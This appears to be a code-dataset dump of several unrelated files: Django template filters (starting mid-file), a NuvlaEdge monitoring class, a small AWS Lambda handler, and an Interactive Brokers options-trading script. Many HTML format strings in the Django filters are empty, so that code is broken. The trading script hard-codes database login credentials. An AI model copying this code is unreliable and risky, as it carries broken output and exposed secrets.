'.join(result)\r\n\r\n\r\n@register.filter\r\ndef trans_join(the_list, separator):\r\n \"\"\"\r\n Translate and join the list.\r\n Usage: list|trans_join_by:\", \"\r\n\r\n :param the_list:\r\n :param separator:\r\n :return:\r\n \"\"\"\r\n if not the_list:\r\n return ''\r\n return separator.join([_(x) for x in the_list])\r\n\r\n\r\n@register.filter\r\ndef build_list(the_list, attr_name):\r\n \"\"\"\r\n Extract attr from each item in the list\r\n\r\n :param the_list:\r\n :param attr_name: attribute name support .dot notation (eg. list_of_people|build_list:\"contact.phone\"\r\n :return: list\r\n \"\"\"\r\n return [Obj.getattr(x, attr_name, None) for x in the_list]\r\n\r\n\r\n@register.filter\r\ndef filter_attr(the_dict, attr_names):\r\n \"\"\"\r\n Only return the item that in the attr_names list\r\n\r\n :param the_dict:\r\n :param attr_names: comma separated names\r\n :return: dict\r\n \"\"\"\r\n\r\n if isinstance(the_dict, dict):\r\n attrs = attr_names.split(',')\r\n return dict((k, v) for k, v in the_dict.items() if k.strip() in attrs)\r\n\r\n return the_dict\r\n\r\n\r\n@register.filter\r\ndef display(choices, value):\r\n \"\"\"\r\n Get the display value for the selected choice. ie. get_FIELD_display()\r\n :type choices: dict|tuple\r\n :param choices: FIELD_CHOICE\r\n :param value: the value of the tuple\r\n :return: string\r\n \"\"\"\r\n if not choices:\r\n return value\r\n\r\n if isinstance(choices, tuple):\r\n choices = OrderedDict(choices)\r\n\r\n return choices.get(value, value)\r\n\r\n\r\n@register.filter\r\ndef as_table(data, filter_param=None):\r\n \"\"\"\r\n Turn queryset or list row_dict into a table.\r\n :param data: queryset|list of [row_dict]\r\n :param filter_param: comma separated list of column. Syntax: queryset|as_table:'include_me, !not_include, include2'\r\n eg. users|as_table:'!age, !password'\r\n eg. group|as_table:'name, group_count'\r\n :return:\r\n \"\"\"\r\n if not data:\r\n return None\r\n\r\n result = []\r\n filter_list = []\r\n exclude_list = []\r\n model = Obj.getattr(data, 'model', None, False)\r\n\r\n if filter_param:\r\n filter_param_list = Lst.strip_string(filter_param.split(','))\r\n for the_filter in filter_param_list:\r\n assert isinstance(the_filter, str)\r\n if the_filter.startswith('!'):\r\n exclude_list.append(the_filter[1:])\r\n else:\r\n filter_list.append(the_filter)\r\n\r\n if isinstance(data, dict):\r\n sub_tables = {}\r\n for key, row in data.items():\r\n if isinstance(row, list):\r\n sub_tables[key] = as_table(row, filter_param)\r\n continue\r\n\r\n row_dict = Obj.get_dict(row, filter_list, exclude_list, verbose_key=True, get_display=True)\r\n result.append(row_dict)\r\n\r\n if sub_tables:\r\n context = {'sub_tables': sub_tables}\r\n html = render_to_string('lazifier/table_filter/as_table_filter_sub_tables_layout.html', context)\r\n return mark_safe(html)\r\n else:\r\n if isinstance(data, collections.Iterable):\r\n for row in data:\r\n row_dict = Obj.get_dict(row, filter_list, exclude_list, verbose_key=True, get_display=True)\r\n\r\n for k, v in row_dict.items():\r\n if isinstance(v, list):\r\n if v:\r\n row_dict[k] = as_table(v, filter_param)\r\n\r\n result.append(row_dict)\r\n else:\r\n result.append(Obj.get_dict(data, verbose_key=True))\r\n\r\n if result:\r\n headers = []\r\n if model is not None:\r\n columns = result[0].keys()\r\n headers = list(Mdl.get_field_verbose(model, columns).values())\r\n else:\r\n for k, v in result[0].items():\r\n if Str.is_int(k):\r\n headers.append(type(v).__name__)\r\n elif type(k) is str and k.islower():\r\n headers.append(Str.snake_to_title(k))\r\n else:\r\n headers.append(k)\r\n\r\n context = {'headers': headers, 'data': result}\r\n html = render_to_string('lazifier/table_filter/as_table_filter_layout.html', context)\r\n else:\r\n return None\r\n\r\n return mark_safe(html)\r\n\r\n\r\n@register.filter\r\ndef as_css_id(the_str, post_fix=None):\r\n \"\"\"\r\n Format the specified string as valid css_id value. \"123 Hello $2\" => \"hello-2\"\r\n :param the_str:\r\n :param post_fix:\r\n :return:\r\n \"\"\"\r\n css_id = Str.to_css_id(the_str)\r\n if post_fix is not None:\r\n css_id += post_fix.__str__()\r\n return css_id\r\n\r\n\r\n@register.filter\r\ndef row_checkbox(data, css_classes='row-checkbox'):\r\n \"\"\"\r\n Create a checkbox based on\r\n\r\n :param data: data-value=\"data\"\r\n :param css_classes: the class to put on the checkbox.\r\n :return:\r\n \"\"\"\r\n result = ''\\\r\n .format(css_class=escape(css_classes), data=escape(data))\r\n return mark_safe(result)\r\n\r\n\r\n@register.filter\r\ndef as_checkbox(bool_value, classes=None):\r\n \"\"\"\r\n Display bool as check mark\r\n\r\n :param bool_value:\r\n :param classes: comma separated css classes. Checked class follow by unchecked. eg. fa-check-square-o, fa-square-o\r\n :return:\r\n \"\"\"\r\n if bool_value is None:\r\n return mark_safe('-')\r\n\r\n checked = 'glyphicon glyphicon-ok'\r\n unchecked = 'glyphicon glyphicon-remove'\r\n\r\n if classes:\r\n assert isinstance(classes, str)\r\n parts = classes.split(',')\r\n if len(parts) == 2:\r\n checked = parts[0]\r\n unchecked = parts[1]\r\n\r\n icon_class = checked if bool_value else unchecked\r\n icon_class = icon_class.strip()\r\n\r\n result = ''.format(css_class=icon_class)\r\n return mark_safe(result)\r\n\r\n\r\n@register.filter\r\ndef as_link(link, icon_class=None):\r\n \"\"\"\r\n Display link as an icon.\r\n\r\n :param link:\r\n :param icon_class:\r\n :return:\r\n \"\"\"\r\n if not link:\r\n return mark_safe('-')\r\n\r\n if not icon_class:\r\n icon_class = 'fa fa-file-o'\r\n\r\n if hasattr(link, 'url'):\r\n link = link.url\r\n\r\n title = basename(link)\r\n title = escape(title)\r\n\r\n result = '' \\\r\n .format(href=link, title=escape(title), icon_class=icon_class)\r\n return mark_safe(result)\r\n\r\n\r\n@register.filter\r\ndef as_text_link(link, link_text=None):\r\n \"\"\"\r\n Display link as a link.\r\n\r\n :param link:\r\n :return:\r\n \"\"\"\r\n if not link:\r\n return mark_safe('-')\r\n\r\n if hasattr(link, 'url'):\r\n link = link.url\r\n\r\n title = basename(link)\r\n title = escape(title)\r\n\r\n link_text = link_text or title\r\n\r\n result = '{link_text}' \\\r\n .format(href=link, title=escape(title), link_text=link_text)\r\n return mark_safe(result)\r\n\r\n\r\n@register.filter\r\ndef as_image_link(link, icon_class=None):\r\n \"\"\"\r\n Display image as a link icon.\r\n\r\n :param link:\r\n :param icon_class:\r\n :return:\r\n \"\"\"\r\n if not link:\r\n return mark_safe('-')\r\n\r\n if not icon_class:\r\n icon_class = 'fa fa-file-image-o'\r\n\r\n if hasattr(link, 'url'):\r\n link = link.url\r\n\r\n title = basename(link)\r\n title = escape(title)\r\n\r\n result = '' \\\r\n '' \\\r\n .format(href=link, title=escape(title), icon_class=icon_class)\r\n return mark_safe(result)\r\n\r\n\r\n@register.filter\r\ndef as_tooltip(text, icon_class=None):\r\n \"\"\"\r\n Display text as a tooltip icon\r\n\r\n :param text:\r\n :param icon_class:\r\n :return:\r\n \"\"\"\r\n if not text:\r\n return mark_safe('-')\r\n\r\n if not icon_class:\r\n icon_class = 'fa fa-commenting-o'\r\n\r\n result = '' \\\r\n .format(title=escape(text), icon_class=icon_class)\r\n return mark_safe(result)\r\n\r\n\r\n@register.filter\r\ndef as_image(link, classes=''):\r\n if not link:\r\n return None\r\n\r\n if hasattr(link, 'url'):\r\n link = link.url\r\n\r\n if classes:\r\n classes = ' %s' % classes.strip()\r\n\r\n title = basename(link) or link\r\n result = '' \\\r\n .format(link=escape(link), title=escape(title), classes=escape(classes))\r\n return mark_safe(result)\r\n\r\n\r\n@register.filter\r\ndef as_thumbnail(link, dimension='200x300'):\r\n if not link:\r\n return None\r\n\r\n if hasattr(link, 'url'):\r\n link = link.url\r\n\r\n width, height = Str.split_parts(dimension, 'x', 1, [200, 300])\r\n\r\n title = basename(link) or link\r\n result = '\"\"' \\\r\n .format(link=escape(link), title=escape(title), width=width, height=height)\r\n return mark_safe(result)\r\n\r\n\r\n@register.filter\r\ndef is_type(obj, type_name):\r\n \"\"\"\r\n Type check based on class name.\r\n\r\n :param obj:\r\n :param type_name:\r\n :return:\r\n \"\"\"\r\n is_same_type = type(obj).__name__ == type_name\r\n return is_same_type\r\n\r\n\r\n@register.filter\r\ndef pop(obj, key_name=None):\r\n \"\"\"\r\n Remove the indexed item from the collection and return the removed value. Similar to dict.pop(key_name).\r\n :param obj:\r\n :param key_name: key name or index\r\n :return:\r\n \"\"\"\r\n if key_name is None:\r\n if isinstance(obj, list):\r\n return obj.pop()\r\n k, v = obj.popitem()\r\n return v\r\n return obj.pop(key_name)\r\n\r\n\r\n@register.filter\r\ndef create_range(end_index, start_index=0):\r\n \"\"\"\r\n range(start_index, end_index)\r\n\r\n :param end_index: non inclusive start_index=10 => 0 .. 9 (10 items)\r\n :param start_index: default is 0\r\n :return: [start .. end]\r\n \"\"\"\r\n return range(start_index, int(end_index))\r\n\r\n\r\n@register.filter\r\ndef record_counts(records, default_value='0'):\r\n if not records:\r\n return default_value\r\n\r\n try:\r\n return len(records)\r\n except Exception as ex:\r\n return default_value\r\n\r\n\r\n@register.filter\r\ndef has_perm(user, perm):\r\n if type(perm) is not str or not perm:\r\n return False\r\n return user.has_perm(perm)\r\n\r\n\r\n@register.filter\r\ndef as_money(amount):\r\n return Num.as_money(amount)\r\n","sub_path":"django_lazifier/utils/templatetags/lazifier_filters.py","file_name":"lazifier_filters.py","file_ext":"py","file_size_in_byte":16337,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"167070184","text":"\"\"\"\nGathers the base NuvlaEdge base information\n\"\"\"\nfrom typing import Dict\nimport datetime\nimport psutil\n\n\nimport agent.common.NuvlaBoxCommon as NuvlaCommon\nfrom agent.monitor import Monitor\nfrom agent.monitor.data.nuvlaedge_data import NuvlaEdgeData as NuvlaInfo\nfrom agent.monitor.data.nuvlaedge_data import InstallationParametersData\nfrom ..components import monitor\n\n\n@monitor('nuvlaedge_info_monitor')\nclass NuvlaEdgeInfoMonitor(Monitor):\n \"\"\" NuvlaEdge information monitor class. \"\"\"\n def __init__(self, name: str, telemetry,\n enable_monitor: bool = True):\n super().__init__(name, NuvlaInfo, enable_monitor)\n\n self.runtime_client: NuvlaCommon.ContainerRuntimeClient = \\\n telemetry.container_runtime\n self.ne_id: str = telemetry.nb_status_id\n self.ne_engine_version: str = telemetry.nuvlabox_engine_version\n self.installation_home: str = telemetry.installation_home\n\n if not telemetry.edge_status.nuvlaedge_info:\n telemetry.edge_status.nuvlaedge_info = self.data\n\n def update_data(self):\n \"\"\"\n Updates NuvlaEdge configuration parameters including installation and Nuvla\n information. Also, the components of the NuvlaEdge deployment\n \"\"\"\n # Update static information\n self.data.id = self.ne_id\n self.data.nuvlaedge_engine_version = self.ne_engine_version\n self.data.installation_home = self.installation_home\n\n node_info = self.runtime_client.get_node_info()\n\n self.data.operating_system = self.runtime_client.get_host_os()\n self.data.architecture = self.runtime_client.get_host_architecture(node_info)\n self.data.hostname = self.runtime_client.get_hostname(node_info)\n self.data.last_boot = datetime.datetime.fromtimestamp(psutil.boot_time()).\\\n strftime(\"%Y-%m-%dT%H:%M:%SZ\")\n self.data.container_plugins = self.runtime_client.get_container_plugins()\n\n # installation parameters\n if not self.data.installation_parameters:\n self.data.installation_parameters = InstallationParametersData()\n filter_label = \"nuvlabox.component=True\"\n\n self.data.installation_parameters = \\\n InstallationParametersData.parse_obj(\n self.runtime_client.get_installation_parameters(filter_label))\n\n # Components running in the current NuvlaEdge deployment\n self.data.components = self.runtime_client.get_all_nuvlabox_components()\n\n def populate_nb_report(self, nuvla_report: Dict):\n nuvla_report.update(self.data.dict(by_alias=True, exclude_none=True))\n","sub_path":"code/agent/monitor/components/nuvlaedge_info.py","file_name":"nuvlaedge_info.py","file_ext":"py","file_size_in_byte":2624,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"237393645","text":"import json\n\nimport os, sys\nthis_dir = os.path.dirname(os.path.abspath(__file__))\nsys.path.append(this_dir)\n\nfrom foo import goodbye\n\n\ndef lambda_handler(event, context):\n resp = \"hello world, \" + goodbye()\n return {\n \"statusCode\": 200,\n \"body\": json.dumps({\n \"message\": resp,\n }),\n }\n","sub_path":"hello_world/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":326,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"342462144","text":"\r\n\r\n\r\ndef diffdays(date1, date2):\r\n # entrem les dates en format 20181026, l'ordre de les datas és indiferent\r\n # caluulem la distància en dies entre les dues dates en termes absoluts\r\n from datetime import date, datetime\r\n if date1 <= date2:\r\n t1 = date1\r\n t2 = date2\r\n else:\r\n t1 = date2\r\n t2 = date1\r\n tf1 = str(t1)[0:4] + \",\" + str(t1)[4:6] + \",\" + str(t1)[6:8]\r\n tf2 = str(t2)[0:4] + \",\" + str(t2)[4:6] + \",\" + str(t2)[6:8]\r\n tf1 = datetime.strptime(tf1, \"%Y,%m,%d\")\r\n tf2 = datetime.strptime(tf2, \"%Y,%m,%d\")\r\n delta = tf2 - tf1\r\n # print(abs(delta.days))\r\n return abs(delta.days)\r\n\r\n\r\ndef accountAnalysis():\r\n accSum = myib.accountSummary()\r\n print(accSum)\r\n accountSummary = []\r\n for p in accSum:\r\n # print(p.tag, p.value)\r\n accountSummary.append((p.tag, p.value))\r\n dfaccountSummary = pd.DataFrame(accountSummary)\r\n print(dfaccountSummary)\r\n\r\n\r\n# passem limit order\r\ndef tradelimitorder(contract, quantity, ordertype, price, trId):\r\n print(\"tradelimitorder\")\r\n ultimaordre =[]\r\n order = LimitOrder(ordertype, quantity, price, tif=\"GTC\", transmit=False)\r\n myib.qualifyContracts(contract)\r\n trade = myib.placeOrder(contract, order)\r\n myib.sleep(1)\r\n ultimaordre.append(ordertype)\r\n ultimaordre.append(quantity)\r\n ultimaordre.append(contract.symbol)\r\n ultimaordre.append(contract.secType)\r\n if contract.secType == \"STK\":\r\n pass\r\n elif contract.secType == \"OPT\":\r\n ultimaordre.append(contract.right)\r\n ultimaordre.append(contract.strike)\r\n ultimaordre.append(contract.lastTradeDateOrContractMonth)\r\n else:\r\n pass\r\n ultimaordre.append(price)\r\n ordrespassadeslist.append(ultimaordre)\r\n #print(\"ultimaordre \",ultimaordre)\r\n #print(\"ordrespassadeslist \",ordrespassadeslist)\r\n dbupdate_trades(mydb, trId)\r\n\r\n\r\n# trunquem els decimals del preu per què IB accepti el preu\r\ndef formatPrice(price, prec):\r\n precision = prec\r\n newPrice = np.round(price, precision)\r\n price = newPrice\r\n return price\r\n\r\n\r\n# determinem si hi ha un trade o no segons diferents criteris\r\ndef get_contracts(ib):\r\n # print(\"get contracts\")\r\n pfl = ib.portfolio()\r\n lst = []\r\n for i in range(len(pfl)):\r\n contr = pfl[i].contract\r\n print(contr.localSymbol)\r\n ib.qualifyContracts(contr)\r\n lst2 = []\r\n lst2.append(contr.conId) # lst2[0]\r\n lst2.append(contr.secType) # lst2[1]\r\n lst2.append(contr.symbol) # lst2[2]\r\n lst2.append(contr.localSymbol) # lst2[3]\r\n lst2.append(contr.currency) # lst2[4]\r\n lst2.append(contr.exchange) # lst2[5]\r\n lst2.append(contr.tradingClass)\r\n if (contr.secType == 'OPT'):\r\n lst2.append(contr.lastTradeDateOrContractMonth) # lst2[6]\r\n lst2.append(contr.strike) # lst2[7]\r\n lst2.append(contr.right) # lst2[8]\r\n lst2.append(contr.multiplier) # lst2[9]\r\n elif (contr.secType == 'STK'):\r\n lst2.extend([None, None, None, None])\r\n lst.append(lst2)\r\n return (lst)\r\n\r\n\r\ndef get_trades(ib):\r\n fil = ib.fills()\r\n lst = []\r\n for f in fil:\r\n lst2 = []\r\n toptPrice = 0\r\n toptIV = 0\r\n toptDelta = 0\r\n toptGamma = 0\r\n toptVega = 0\r\n toptTheta = 0\r\n toptPVDividend = 0\r\n toptPriceOfUnderlying = 0\r\n tActive = 0\r\n dateentry = str(f.time)[0:4] + str(f.time)[5:7] + str(f.time)[8:10]\r\n lst2.append(f.execution.execId)\r\n lst2.append(f.execution.acctNumber)\r\n lst2.append(int(f.contract.conId))\r\n lst2.append(dateentry)\r\n if f.execution.side == \"BOT\":\r\n lst2.append(f.execution.shares)\r\n else:\r\n s = f.execution.shares\r\n lst2.append(-s)\r\n lst2.append(f.execution.price)\r\n lst2.append(f.commissionReport.commission)\r\n if f.execution.liquidation is None:\r\n lst2.append(0)\r\n else:\r\n lst2.append(f.execution.liquidation)\r\n lst2.append(toptPrice)\r\n lst2.append(toptIV)\r\n lst2.append(toptDelta)\r\n lst2.append(toptGamma)\r\n lst2.append(toptVega)\r\n lst2.append(toptTheta)\r\n lst2.append(toptPVDividend)\r\n lst2.append(toptPriceOfUnderlying)\r\n lst2.append(tActive)\r\n lst.append(lst2)\r\n # print(\"gettrades lst\",lst)\r\n return (lst)\r\n\r\n\r\ndef opendefensiveposition(cnt,pos):\r\n try:\r\n print(\"opendefensiveposition\")\r\n # creem objectes tupus contracte\r\n stkcnt = Contract() # el underlying de la opció\r\n optcnt1 = Contract() # la opció que hi ha al portfolio\r\n optcnt2 = Contract() # la potencial nova opció que es crearà\r\n\r\n # composem el contracte del underlying de la opció analitzada\r\n #stkcnt = Stock(cnt.symbol, \"SMART\", cnt.currency)\r\n stkcnt.symbol = cnt.symbol\r\n stkcnt.currency = cnt.currency\r\n stkcnt.secType = \"STK\"\r\n stkcnt.exchange =\"SMART\"\r\n myib.qualifyContracts(stkcnt)\r\n print(\"defensiveposition de: \",stkcnt)\r\n # composem el contracte de la opció analitzada\r\n optcnt1.conId = pos.conId\r\n myib.qualifyContracts(optcnt1)\r\n\r\n # composem la data d'expiració que és la mateixa tant per la opció original (optcnt1) com la nova defensiva (optcnt2)\r\n dateexpiration = str(optcnt1.lastTradeDateOrContractMonth)[0:4] + str(optcnt1.lastTradeDateOrContractMonth)[4:6] + str(optcnt1.lastTradeDateOrContractMonth)[6:8]\r\n print(\"dateexpiration \",dateexpiration)\r\n\r\n # agafem lastprice del underlying provinent de ticker\r\n tstk = myib.reqTickers(stkcnt)\r\n topt1 = myib.reqTickers(optcnt1)\r\n lastpricestk = tstk[0].marketPrice()\r\n lastpriceopt1 = topt1[0].marketPrice()\r\n myib.sleep(1)\r\n\r\n # busquem la cadena d'opcions del underlying\r\n chains = myib.reqSecDefOptParams(stkcnt.symbol, '', stkcnt.secType, stkcnt.conId)\r\n chain = next(c for c in chains if c.tradingClass == stkcnt.symbol and c.exchange == 'SMART')\r\n\r\n #print(util.df(chains))\r\n print(util.df(chains))\r\n\r\n # separem strikes i expiracions\r\n lexps = []\r\n lstrikes = []\r\n lexps = chain.expirations\r\n lstrikes = chain.strikes\r\n myList = lstrikes\r\n lastpricestk = int(lastpricestk)\r\n\r\n # calculem la distància entre el preu del underlying ara i el strike de la opció venuda que estem analitzant\r\n strikedistance = abs(optcnt1.strike - lastpricestk)\r\n\r\n # busquem l'strike que més s'acosta al del preu actual del underlying\r\n orderstrike = min(lstrikes, key=lambda x: int(abs(int(x) - lastpricestk)))\r\n print(\"symbol \",optcnt1.symbol,\"strikedistance\", strikedistance, \"lastpricestk \", lastpricestk, \"orderstrike \", orderstrike)\r\n\r\n # preparem el nou trade: si era un call ara un put...i al inreves\r\n if optcnt1.right == \"C\":\r\n opt2right = \"P\"\r\n else:\r\n opt2right = \"C\"\r\n\r\n # preparem el nou trade: qualifiquem la nova opció compensatoria\r\n optcnt2.symbol = optcnt1.symbol\r\n optcnt2.strike = orderstrike\r\n optcnt2.secType = optcnt1.secType\r\n optcnt2.exchange = \"SMART\"\r\n optcnt2.currency = optcnt1.currency\r\n optcnt2.right = opt2right\r\n optcnt2.lastTradeDateOrContractMonth = dateexpiration\r\n myib.qualifyContracts(optcnt2)\r\n print(\"optcon2\", optcnt2)\r\n\r\n # busquem el preu al que cotitza la nova opció compensatoria\r\n topt2 = myib.reqTickers(optcnt2)\r\n lastpriceopt2bis = (topt2[0].bid + topt2[0].ask) / 2\r\n # lastprice = formatPrice(lastprice, 2)\r\n\r\n lastpriceopt2 = topt2[0].marketPrice()\r\n print(\"lastpriceopt2 \", lastpriceopt2, \"lastpriceopt2bis \", lastpriceopt2bis)\r\n myib.sleep(1)\r\n ordertype = \"\"\r\n # decidim si comprem o venem\r\n if pos.shares < 0:\r\n ordertype = 'SELL'\r\n else:\r\n ordertype = 'BUY'\r\n # executem la ordre\r\n print(\"tradelimitorder \", optcnt2, abs(pos.shares), ordertype, lastpriceopt2, pos.conId)\r\n tradelimitorder(optcnt2, abs(pos.shares), ordertype, lastpriceopt2, optcnt2.conId)\r\n # tradelimitorder(cnt, abs(qty), orderType, abs(fmtprice), pos.conId)\r\n except Exception as err:\r\n print(err)\r\n raise\r\n\r\n\r\ndef allowTrade(pctpostimeelapsed, pctprofitnow,sectype):\r\n #print(\"allowtrade \",pctpostimeelapsed, pctprofitnow,sectype)\r\n allowtrade = 0\r\n if sectype ==\"OPT\":\r\n if pctpostimeelapsed <= 10 and pctprofitnow >30:\r\n allowtrade = 1\r\n if pctpostimeelapsed <= 20 and pctprofitnow >40:\r\n allowtrade = 1\r\n if pctpostimeelapsed <= 50 and pctprofitnow > 65:\r\n allowtrade = 1\r\n if pctpostimeelapsed <= 75 and pctprofitnow >75:\r\n allowtrade = 1\r\n if pctprofitnow >= pctprofittarget:\r\n allowtrade = 1\r\n if pctprofitnow <= -75:\r\n allowtrade = 2\r\n elif sectype ==\"STK\":\r\n if pctprofitnow >= 20:\r\n allowtrade = 3\r\n if pctprofitnow <= -20:\r\n allowtrade = 4\r\n else:\r\n allowtrade = 0\r\n return allowtrade\r\n\r\n\r\ndef processopenpositions():\r\n print(\"processopenpositions\")\r\n try:\r\n # llegim posicions obertes de la base de dades\r\n query = \"SELECT pId, pExecId, pAccId, pConId, pDate, pType, pMultiplier, pShares, pInitialPrice,pInitialValue, pClosingPrice, pClosingValue,\" \\\r\n \" pClosingDate, pClosingId, pPNL, pCommission, pLiquidation, pActive\" \\\r\n \" FROM positions LEFT JOIN contracts ON positions.pConId = contracts.kConId\" \\\r\n \" WHERE pAccId = '\" + vAccId + \"' AND pActive = 1\"\r\n\r\n rst = execute_query(mydb, query, values=None)\r\n # definim namedtuple \"positions\" per a processar posicions obertes\r\n positions = namedtuple(\"positions\", \"Id execId accId conId \\\r\n date type multiplier shares initialPrice initialValue closingPrice \\\r\n closingValue closingDate closingId PNL commission liquidation \\\r\n active\") \r\n \r\n # passem les execucions obertes en forma de namedtuple a la llista \"openpos\"\r\n #ordrespassadeslist = []\r\n openpos = []\r\n for i in range(len(rst)):\r\n position = positions(Id=rst[i][0], execId=rst[i][1], accId=rst[i][2], conId=rst[i][3],\r\n date=rst[i][4], type=rst[i][5], multiplier=rst[i][6], shares=rst[i][7],\r\n initialPrice=rst[i][8], initialValue=rst[i][9], closingPrice=rst[i][10],\r\n closingValue=rst[i][11], closingDate=rst[i][12], closingId=rst[i][13],\r\n PNL=rst[i][14], commission=rst[i][15],\r\n liquidation=rst[i][16], active=rst[i][17])\r\n openpos.append(position)\r\n\r\n print (\"openpos\",openpos)\r\n\r\n # llegim \"openpos\" en forma de loop per a decidir què fer amb cada execució oberta\r\n\r\n pctProfitList = []\r\n for pos in openpos:\r\n #creem un objecte Contract\r\n cnt = Contract()\r\n #fem una instancia de contract amb el contracte llegit del query de trades oberts de la db trades\r\n cnt.conId = pos.conId\r\n\r\n myib.qualifyContracts(cnt)\r\n pfl = myib.portfolio()\r\n\r\n\r\n\r\n # obtenim i formategem data expiració\r\n dateexpiration = str(cnt.lastTradeDateOrContractMonth)[0:4] + str(cnt.lastTradeDateOrContractMonth)[4:6] + str(cnt.lastTradeDateOrContractMonth)[6:8]\r\n\r\n\r\n # agafem lastprice provinent de ticker\r\n # ticker = myib.reqTickers(cnt)\r\n # myib.sleep(1)\r\n # lastprice = (ticker[0].bid + ticker[0].ask) / 2\r\n # lastprice = formatPrice(lastprice, 2)\r\n # print(\"tickerbid \", ticker[0].bid, \" tickerask \",ticker[0].ask, \" lastprice \", lastprice)\r\n\r\n # agafem lastprice provinent de portfolio\r\n lastprice = 0\r\n for f in pfl:\r\n if pos.conId == f.contract.conId:\r\n lastprice = f.marketPrice\r\n #lastprice = f.marketValue\r\n # demanem dades a traves de reqMktData\r\n # m_data = myib.reqMktData(cnt)\r\n # while m_data.last != m_data.last: myib.sleep(0.01) # Wait until data is in.\r\n # myib.cancelMktData(cnt)\r\n # print(\"m_data \",m_data.last)\r\n\r\n avgcost = float(pos.initialPrice)\r\n vshares = pos.shares\r\n # calculem pctprofitnow (el pnl de la posició)\r\n if vshares < 0:\r\n pctprofitnow = (1 - (lastprice / avgcost)) * 100\r\n else:\r\n pctprofitnow = ((lastprice / avgcost) - 1) * 100\r\n print(cnt.symbol,\" \",vshares, \"lastprice \",lastprice,\"avgcost\",avgcost,\"pctprofitnow \",pctprofitnow)\r\n\r\n # calculem percentatge temps passat entre apertura posició i expiració per a posicions d'opcions\r\n pctpostimeelapsed = 0\r\n if cnt.secType == \"OPT\":\r\n dateentry = str(pos.date)[0:4] + str(pos.date)[5:7] + str(pos.date)[8:10]\r\n datetoday = datetime.datetime.now().strftime(\"%Y%m%d\")\r\n datedifffromentry = diffdays(dateentry, dateexpiration)\r\n datedifffromtoday = diffdays(datetoday, dateexpiration)\r\n pctpostimeelapsed = int((1 - datedifffromtoday / datedifffromentry) * 100)\r\n\r\n\r\n\r\n # d'acord amb els paràmetres calculats decidim si es fa un trade o no a la funció \"allowtrade\"\r\n #allowtrade = allowTrade(pctpostimeelapsed, pctprofitnow)\r\n allowtrade = allowTrade(pctpostimeelapsed, pctprofitnow,cnt.secType)\r\n #allowtrade = 0\r\n pctProfitList.append(\r\n [cnt.symbol, pos.shares, cnt.right, cnt.strike, pos.initialPrice, lastprice, int(pctprofitnow),\r\n pctpostimeelapsed, allowtrade])\r\n\r\n # allowtrade = 1 tancar posició per recollida de beneficis, allowtrade = 2 fem un trade defensio de la posició\r\n if allowtrade == 1:\r\n if pos.shares < 0:\r\n ordertype = 'BUY'\r\n else:\r\n ordertype = 'SELL'\r\n # Configurem preu operació\r\n if ordertype == \"BUY\" and cnt.secType == \"OPT\":\r\n # price = ((avgcost * ((100 - pctprofitnow)) / 100)) / 100\r\n price = avgcost * (1 - pctprofitnow / 100)\r\n elif ordertype == \"SELL\" and cnt.secType == \"OPT\":\r\n # price = (avgcost * (1 + (pctprofitnow / 100))) / 100\r\n price = avgcost * (1 + pctprofitnow / 100)\r\n fmtprice = formatPrice(price, 2)\r\n tradelimitorder(cnt, abs(vshares), ordertype, abs(fmtprice), pos.conId)\r\n elif allowtrade == 2:\r\n # obrim posició defensiva\r\n opendefensiveposition(cnt,pos)\r\n elif allowtrade == 3:\r\n if pos.shares < 0:\r\n ordertype = 'BUY'\r\n else:\r\n ordertype = 'SELL'\r\n # Configurem preu operació\r\n if ordertype == \"BUY\":\r\n price = lastprice\r\n #price = avgcost * (1 - pctprofitnow / 100)\r\n elif ordertype == \"SELL\":\r\n price = lastprice\r\n #price = avgcost * (1 + pctprofitnow / 100)\r\n fmtprice = formatPrice(price, 2)\r\n tradelimitorder(cnt, abs(vshares), ordertype, abs(fmtprice), pos.conId)\r\n elif allowtrade == 4:\r\n if pos.shares < 0:\r\n ordertype = 'BUY'\r\n else:\r\n ordertype = 'SELL'\r\n # Configurem preu operació\r\n if ordertype == \"BUY\":\r\n price = lastprice\r\n #price = avgcost * (1 - pctprofitnow / 100)\r\n elif ordertype == \"SELL\":\r\n price = lastprice\r\n #price = avgcost * (1 + pctprofitnow / 100)\r\n fmtprice = formatPrice(price, 2)\r\n tradelimitorder(cnt, abs(vshares), ordertype, abs(fmtprice), pos.conId)\r\n elif allowtrade == \"8888\":\r\n # PLACE MAEKET ORDER\r\n # MarketOrder(cnt, abs(vshares), ordertype, abs(fmtprice), pos.conId)\r\n #Order = MarketOrder(ordertype,abs(vshares))\r\n #trade = myib.placeOrder(cnt,Order)\r\n pass\r\n else:\r\n pass\r\n\r\n print(\"pctProfitList \", pd.DataFrame(pctProfitList))\r\n print(\"ordrespassadeslist \", pd.DataFrame(ordrespassadeslist))\r\n except Exception as err:\r\n print(err)\r\n raise\r\n\r\n\r\nif __name__ == \"__main__\":\r\n # importem llibreries\r\n import ib_insync\r\n import numpy as np\r\n from ib_insync import *\r\n import openpyxl as op\r\n import pandas as pd\r\n import os\r\n import datetime\r\n import tkinter as tk\r\n from tkinter import messagebox as msgbox\r\n from collections import OrderedDict\r\n from collections import namedtuple\r\n import mysql.connector\r\n from mysql.connector import errorcode\r\n from numpy import sign\r\n\r\n # inicialització paràmeteres\r\n global ordrespassadeslist\r\n ordrespassadeslist =[]\r\n pctprofittarget = 80\r\n\r\n myib = IB()\r\n mydb = dbconnect(\"localhost\", \"besuga\", \"xarnaus\", \"Besuga8888\")\r\n\r\n # creem instancia de connexió db al mateix temps que triem compte a IB amb el que operem\r\n acc = input(\"triar entre 'besugapaper' o 'xavpaper' \\n\")\r\n if acc == \"besugapaper\":\r\n rslt = execute_query(mydb,\r\n \"SELECT connHost, connPort, connAccId FROM connections WHERE connName = 'besugapaper7498'\")\r\n elif acc == \"xavpaper\":\r\n rslt = execute_query(mydb,\r\n \"SELECT connHost, connPort, connAccId FROM connections WHERE connName = 'xavpaper7497'\")\r\n else:\r\n sys.exit(\"Unknown account!!\")\r\n myib.connect(rslt[0][0], rslt[0][1], 1)\r\n myaccId = rslt[0][2]\r\n\r\n #demanem delayed data\r\n myib.reqMarketDataType(4)\r\n #analitzem Accoount\r\n accountAnalysis()\r\n\r\n # analitzem posicions obertes\r\n #portfolio_analysis()\r\n\r\n\r\n # processem trades oberts, tancant els que calgui i obrint trades defensius si cal\r\n 